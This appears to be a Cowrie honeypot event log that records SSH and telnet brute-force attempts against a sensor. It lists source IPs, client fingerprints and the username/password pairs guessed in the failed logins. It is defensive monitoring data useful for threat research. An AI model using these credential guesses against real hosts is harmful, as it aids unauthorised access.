{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:54.332395Z","src_ip":"192.169.243.246","session":"b9583c2d6c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"take","message":"login attempt [root/take] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:54.649806Z","src_ip":"192.169.243.246","session":"b9583c2d6c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:55.724526Z","src_ip":"192.169.243.246","session":"b9583c2d6c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":53426,"dst_ip":"10.17.0.5","dst_port":22,"session":"5634f35c2e4b","protocol":"ssh","message":"New connection: 95.58.255.251:53426 (10.17.0.5:22) [session: 5634f35c2e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:00.736822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:00.803339Z","src_ip":"95.58.255.251","session":"5634f35c2e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:00.976311Z","src_ip":"95.58.255.251","session":"5634f35c2e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"garfield","message":"login attempt [root/garfield] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:01.658331Z","src_ip":"95.58.255.251","session":"5634f35c2e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:02.835886Z","src_ip":"95.58.255.251","session":"5634f35c2e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":40228,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ec89692b01","protocol":"ssh","message":"New connection: 176.65.132.190:40228 (10.17.0.5:22) [session: 29ec89692b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:04.489366Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:04.494738Z","src_ip":"176.65.132.190","session":"29ec89692b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":54632,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c06a3ce4e9a","protocol":"ssh","message":"New connection: 43.162.109.147:54632 (10.17.0.5:22) [session: 0c06a3ce4e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:16.987890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:16.993249Z","src_ip":"43.162.109.147","session":"0c06a3ce4e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:17.061686Z","src_ip":"43.162.109.147","session":"0c06a3ce4e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1993","message":"login attempt [root/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:17.367308Z","src_ip":"43.162.109.147","session":"0c06a3ce4e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:18.439177Z","src_ip":"43.162.109.147","session":"0c06a3ce4e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":19928,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d10a5abbfcc","protocol":"ssh","message":"New connection: 213.209.159.56:19928 (159.203.135.109:22) [session: 3d10a5abbfcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:41.950403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:41.955388Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:42.037490Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah","message":"login attempt [erykah/erykah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:42.439401Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah1","message":"login attempt [erykah/erykah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:43.524770Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah123","message":"login attempt [erykah/erykah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:44.610575Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah1234","message":"login attempt [erykah/erykah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:45.695576Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah12345","message":"login attempt [erykah/erykah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:46.781820Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:12:47.866966Z","src_ip":"213.209.159.56","session":"3d10a5abbfcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":57422,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e37599857e9","protocol":"ssh","message":"New connection: 192.169.243.246:57422 (159.203.135.109:22) [session: 8e37599857e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:11.715331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:11.725518Z","src_ip":"192.169.243.246","session":"8e37599857e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:11.810424Z","src_ip":"192.169.243.246","session":"8e37599857e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nipple","message":"login attempt [root/nipple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:12.139640Z","src_ip":"192.169.243.246","session":"8e37599857e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:13.234673Z","src_ip":"192.169.243.246","session":"8e37599857e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":36332,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b6bac427355","protocol":"telnet","message":"New connection: 167.71.238.254:36332 (10.17.0.5:23) [session: 3b6bac427355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:16.297689Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":36160,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c7d90f2cc9b","protocol":"ssh","message":"New connection: 95.58.255.251:36160 (10.17.0.5:22) [session: 2c7d90f2cc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:17.617325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:17.622386Z","src_ip":"95.58.255.251","session":"2c7d90f2cc9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:17.788360Z","src_ip":"95.58.255.251","session":"2c7d90f2cc9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:18.480929Z","src_ip":"95.58.255.251","session":"2c7d90f2cc9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:19.649916Z","src_ip":"95.58.255.251","session":"2c7d90f2cc9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":13679,"dst_ip":"10.17.0.5","dst_port":22,"session":"759371090d55","protocol":"ssh","message":"New connection: 27.74.248.52:13679 (10.17.0.5:22) [session: 759371090d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:20.569781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:20.574723Z","src_ip":"27.74.248.52","session":"759371090d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:21.041897Z","src_ip":"27.74.248.52","session":"759371090d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231qaz","message":"login attempt [root/1231qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:22.439696Z","src_ip":"27.74.248.52","session":"759371090d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:23.973634Z","src_ip":"27.74.248.52","session":"759371090d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31010,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f7fa087fea5","protocol":"ssh","message":"New connection: 194.59.206.2:31010 (10.17.0.5:22) [session: 6f7fa087fea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:24.350770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:24.355381Z","src_ip":"194.59.206.2","session":"6f7fa087fea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:24.446200Z","src_ip":"194.59.206.2","session":"6f7fa087fea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:24.540880Z","src_ip":"194.59.206.2","session":"6f7fa087fea5","protocol":"ssh"}
